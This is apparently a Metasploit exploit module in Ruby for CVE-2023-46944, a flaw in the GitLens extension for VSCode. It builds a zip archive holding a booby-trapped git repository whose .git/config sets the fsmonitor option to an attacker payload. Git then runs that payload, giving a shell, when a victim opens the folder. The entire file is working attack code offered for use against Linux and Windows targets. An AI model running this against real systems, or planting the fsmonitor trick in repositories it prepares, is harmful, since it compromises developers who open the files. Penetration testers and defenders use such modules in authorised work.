111 lines
3.4 KiB
Ruby
111 lines
3.4 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'GitLens Git Local Configuration Exec',
|
|
'Description' => %q{
|
|
GitKraken GitLens before v.14.0.0 allows an untrusted workspace to execute git
|
|
commands. A repo may include its own .git folder including a malicious config file to
|
|
execute arbitrary code.
|
|
|
|
Tested against VSCode 1.87.2 with GitLens 13.6.0 on Ubuntu 22.04 and Windows 10
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'h00die', # Metasploit module
|
|
'Paul Gerste', # Original advisory and PoC
|
|
],
|
|
'References' => [
|
|
['URL', 'https://www.sonarsource.com/blog/vscode-security-markdown-vulnerabilities-in-extensions/'],
|
|
['URL', 'https://www.sonarsource.com/blog/securing-developer-tools-git-integrations/'], # git hook
|
|
['URL', 'https://github.com/gitkraken/vscode-gitlens/commit/ee2a0c42a92d33059a39fd15fbbd5dd3d5ab6440'], # patch
|
|
['CVE', '2023-46944']
|
|
],
|
|
'DefaultOptions' => {
|
|
'EXITFUNC' => 'thread',
|
|
'DisablePayloadHandler' => false,
|
|
'FILENAME' => 'repo.zip',
|
|
'WfsDelay' => 3_600 # 1hr
|
|
},
|
|
'Arch' => ARCH_CMD,
|
|
'Targets' => [
|
|
[
|
|
'Linux/Unix (In-Memory)',
|
|
{
|
|
'Platform' => [ 'unix', 'linux' ],
|
|
'Type' => :unix_cmd
|
|
},
|
|
],
|
|
# There may be a size limit, but using fetch payloads works great
|
|
[
|
|
'PowerShell (In-Memory)',
|
|
{
|
|
'Platform' => 'win',
|
|
'Payload' => {
|
|
'BadChars' => '"&'
|
|
}
|
|
}
|
|
],
|
|
],
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [SCREEN_EFFECTS, ARTIFACTS_ON_DISK] # windows fetch payloads pops up a CMD window for a second, then goes away
|
|
},
|
|
'Privileged' => false,
|
|
'DisclosureDate' => '2023-11-14'
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('README', [true, 'The contents of the readme markdown file', '# Test'])
|
|
])
|
|
end
|
|
|
|
def readme
|
|
datastore['README'].to_s
|
|
end
|
|
|
|
def git_head
|
|
'ref: refs/heads/master'
|
|
end
|
|
|
|
def git_config
|
|
%([core]
|
|
repositoryformatversion = 0
|
|
filemode = true
|
|
bare = false
|
|
logallrefupdates = true
|
|
fsmonitor = "#{payload.encoded} #") # without the trailing # windows tacks on <space><int, 0><space><a long number>. so this avoids corrupting the payload
|
|
end
|
|
|
|
def exploit
|
|
# Create malicious zip archive containing our git repo
|
|
files =
|
|
[
|
|
{ data: readme, fname: 'README.md' },
|
|
{ data: git_config, fname: '.git/config' },
|
|
{ data: git_head, fname: '.git/HEAD' },
|
|
{ data: '', fname: '.git/objects/info/' },
|
|
{ data: '', fname: '.git/objects/pack/' },
|
|
{ data: '', fname: '.git/refs/heads/' },
|
|
{ data: '', fname: '.git/refs/tags/' },
|
|
]
|
|
|
|
zip = Msf::Util::EXE.to_zip(files)
|
|
|
|
file_create(zip)
|
|
print_status('Waiting for shell')
|
|
end
|
|
end
|